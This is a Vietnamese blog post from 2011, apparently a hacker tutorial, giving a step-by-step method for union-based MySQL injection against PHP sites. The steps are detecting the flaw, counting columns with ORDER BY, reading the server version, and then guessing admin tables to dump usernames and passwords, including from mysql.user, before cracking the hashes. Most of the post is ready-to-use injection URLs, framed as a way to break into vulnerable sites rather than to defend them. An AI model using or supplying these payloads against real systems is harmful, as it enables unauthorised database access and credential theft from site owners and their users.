Nghe Tab
        Thứ Năm, 29 tháng 12, 2011 - 14:08 Căn bản MySQL Injection

        Hiện nay SQL Injection đang trở nên rất phổ biến và nhiều trang bị lỗi.
        Ngày trước hầu như sử dụng ASP và MSSQL (như cách hack CC). Nhưng hiện nay trào lưu chủ yếu là PHP và MySQL thì lại sinh ra MySQL Injection.
        OK sau đây là MySQL Injection hết sức phổ biến
        1.Trước hết để tìm 1 trang bị lỗi
        http://site.com/news.php?id=5
        Để kiểm tra xem trang có bị dính lỗi hay không thì bạn chỉ cần thêm ' vào cuối:
        http://site.com/news.php?id=5'
        Nếu thấy xuất hiện thông báo như sau:
        "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
        Hoặc tương tự... Thì có nghĩa là lỗi rồi tuy nhiên ko phải trang nào cũng hiện báo lỗi như vậy cho bạn dễ nhìn đâu.
        Lúc này bạn chỉ cần kiểm tra bằng cách so sánh 2 trang hiển thị kết quả:
        http://site.com/news.php?id=5+AND+1=1--
        Hoàn toàn tương đương với:
        http://site.com/news.php?id=5 AND 1=1--
        Dấu cách và dấu + trong truy vấn này là tương đương, tuy nhiên dấu + sẽ dễ nhìn hơn.
        Sẽ hiện ra bình thường OK nhá nhưng nếu mà:
        http://site.com/news.php?id=5+AND+1=0--
        http://site.com/news.php?id=5 AND 1=0--
        Sẽ ra kết quả sai, thường thì trang sẽ thiếu 1 vài thứ gì đó bởi vì ko hiện thị được các trường (cột) trong truy vấn hợp lệ mà bị cái tham số AND 1=0 luôn luôn sai gây ra. Khi nào mà 1=0 thì trái đất này diệt vong mà haha.
        À quên dấu + cũng được SQL hiểu là dấu cách đó, thế cho dễ nhìn, cách hay cộng gì cũng như nhau thôi! Ok vậy là trang này dính lỗi SQL rồi nhá. ^^
        Cuối cùng truy vấn có thể là -- hoặc /* . 2 cái này thực chất là bắt đầu phần chú thích SQL nghĩa là đến đây là hết lệnh roài, làm gì sau tùy chú, anh không thèm chấp vì chỉ là chú thích của SQL thôi mà hehe.

        2.Tìm số lượng trường (cột) được truy vấn trong lệnh Sql:
        Nguyên tắc thì khi có tham số id=số nào đó thì sẽ thực hiện truy vấn SQL để tìm ra các bản ghi các giá trị thỏa mãn yêu cầu của các trường đưa ra.
        Ví dụ: Select hoten,diem from bangdiem where id=12
        Đây là truy vấn chuẩn, vấn đề ở đây là ta cần xác định số lượng trường được truy vấn cụ thể ở đây là hoten, diem tức là có 2 trường. Tại sao phải tìm nó?
        Bởi lẽ ta sẽ chèn thêm UNION SELECT vào cuối của URL để tìm ra các thông tin của database mà yêu cầu của lệnh này là phải có số lượng trường (cột) trùng với SELECT trước đó cụ thể là:
        Select hoten,diem from bangdiem where id=12 UNION SELECT 1,2 from mysql.user--
        1,2 ở đây tương đương với hoten,diem chính vì thể ta phải đếm được số trường được dùng để truy vấn. Vậy tìm thế nào?
        Dễ thôi dùng order by. Tức là sắp xếp kết quả hiện ra theo trường nào/
        Ví dụ bạn có 2 trường hoten,diem mà bạn lại đòi order by 3 thì ai mà order được --> báo lỗi. Vậy nếu order by 2 mà được, sang order by 3 mà ko được thì có gì phải bàn nữa đâu -> số trường trong truy vấn gốc là 2.
        http://site.com/news.php?id=5 order by 1--
        Ko có lỗi tức là trang hiện ra bình thường giống như với truy vấn:
        http://site.com/news.php?id=5
        Hay là:
        http://site.com/news.php?id=5+AND+1=1--
        Vẫn ngon ko lỗi gì cả nhá ^^
        http://site.com/news.php?id=5 order by 2--
        Cũng ko lỗi. Sang đến thằng order by 3 (trường thứ 3):
        http://site.com/news.php?id=5 order by 3--
        Sẽ báo lỗi và kết quả hiện ra sẽ giống như khi thực hiện truy vấn với:
        http://site.com/news.php?id=5+AND+1=0--
        Rõ rồi vì đều sai cả, 1 thằng thì đòi 1=0 thì mới thực hiện 1 thằng thì đòi hiển thị thông tin theo 1 thằng ko tồn tại thì làm sao mà hiểu được keke.
        OK vậy ta có được thông tin về thằng này là có 2 trường nhé

        3.Dùng hàm UNION:
        Về nguyên tắc thì khi trang web họ đọc thông tin (SELECT) từ cơ sở dữ liệu thì cũng sẽ phải in ra màn hình kết quả. Chẳng hạn in tên sản phẩm, giá, họ tên của sinh viên hay mặt hàng có ID=truy vấn của bạn.
        Nhưng khi bạn dùng UNION SELECT ở cuối thì các trường tương ứng sẽ được in ra sẽ là các trường bạn truy vấn ở UNION SELECT.
        Chẳng hạn: Select hoten,diem from bangdiem where id=12 UNION SELECT 1,2--
        Thì trên màn hình nơi hiển thị họ tên và điểm sẽ bị thay bằng số 1,2.
        Nơi nào hiển thị họ tên đó thì sẽ hiện ra số 1, nơi nào điểm là 2 tương ứng.
        Tuy nhiên hiện ra hay ko còn phụ thuộc vào thiết kế của trang web đó.
        Có trang bạn phải coi mã nguồn mới thấy số 1 hay 2 đó.
        Nếu chưa thấy thì thay 1,2 thành những số lạ thường ví dụ 1124124,123123 rồi tìm.
        Nếu thấy tức là UNION SELECT đã làm việc roài đó.

        4. Xem phiên bản MySQL:
        Giả sử có 3 trường, ở trên là 2 trường hoten,diem bây giờ giả là hoten,diem,khoa.
        http://site.com/news.php?id=5 union all select 1,2,3--
        Hãy tìm trên trang kết quả nơi nào tự nhiên đẻ ra số 1, hay 2 hay 3 mà phang.
        VD tự nhiên mọc ra thằng số 2 dở hơi nào đó thì ok. Vậy là cái web này nó lấy thông tin từ trường thứ 2 (vd là diem) rồi nó in ra. Keke vậy ta chỉ cần thay giá trị thứ 2 trong union all select 1,2,3 thành giá trị muốn coi thôi.
        Cụ thể biến của hệ thống chứa version MySQL là @@version hoặc là version().
        Bạn thực hiện lại truy vấn nhé. Sẽ thấy 4.1.33-log hay 5.0.45 hoặc tương tự.
        Truy vấn đầy đủ là:
        http://site.com/news.php?id=5 union all select 1,@@version,3--
        Nếu mà ko thấy gì cả thì bạn nên dùng hàm Convert hoặc HEX.
        http://site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3--
        http://site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3--
        Kiểu gì bạn cũng sẽ thấy được phiên bản nhé.

        5. Lấy tên bảng (table) và tên trường (cột) trong bảng.
        A. Nếu version MySQL < 5 (VD 4.1.33, 4.1.12, ...):
        Thì phải đoán bảng và trường thôi các tên talbe thông dụng là:
        users, user,admin,admins,member,members,...
        Các trường (cột)thông dụng là:
        username, user, usr, user_name, password, pass, passwd, pwd etc...
        OK bạn sẽ dùng UNION SELECT để lấy thông tin.
        UNION ALL sẽ cho thông tin đầy đủ hơn nên dùng nhá.
        http://site.com/news.php?id=5 union all select 1,2,3 from admin--
        Nếu mà thấy số 2 hiện ra tiếp thì ok có table admin đó bạn à vì truy vấn này hợp lệ mà, truy vấn chuẩn có điều chú này chưa biết trường cần in của table này là gì cả thôi.
        Vậy là có table admin nhé.
        Nếu ko có thì sao -> lỗi chứ còn gì giống như là and 1=0 ở trên đó.
        Giờ tìm trường trong cái table admin này:
        http://site.com/news.php?id=5 union all select 1,username,3 from admin--
        Nếu có trường admin trong bảng admin này thì tên admin sẽ hiện ra chổ số 2.
        Nếu ko thì lỗi và mời bạn check trường khác username nhé.
        Rồi sang kiểm tra Password nhé:
        http://site.com/news.php?id=5 union all select 1,password,3 from admin--
        Nếu có thì sẽ hiện ra mật khẩu có thể ở dạng bình thường hay bị mã hóa MD5 hash, MySQL hash, sha1... Muốn nhìn cho đẹp thì bạn cần phải dùng hàm concat để nối chuỗi khỏi phải mất công truy vấn lâu:
        http://site.com/news.php?id=5 union all select 1,concat(username,0x3a,
        password),3 from admin--
        Giá trị 0x3a chính là mã hex của dấu hai chấm ":" oặc bạn dùng là char(58) là cũng mã ascii của dấu hai chấm ":" đó .
        http://site.com/news.php?id=5 union all select 1,concat(username,char(58),
        password),3 from admin--
        Kết quả hiện ra có thể là admin:admin hoặc admin:hash.
        Ok nếu bị mã hóa thì đi crack.
        Quan trọng nè nếu mà không đoán được tên bảng thì nên thử vào table mysql.user (Đây là bảng mặc định của MySQL <5)
        Sẽ có mật khẩu và user name đó thử coi:
        http://site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),
        3 from mysql.user--

        Đăng bởi: wapsite-viet.tk

        « bài trước bài sau »
        Cho bình luận
              Cộng Album & Video - xem demo
              Cộng Tên: Mã Nhúng: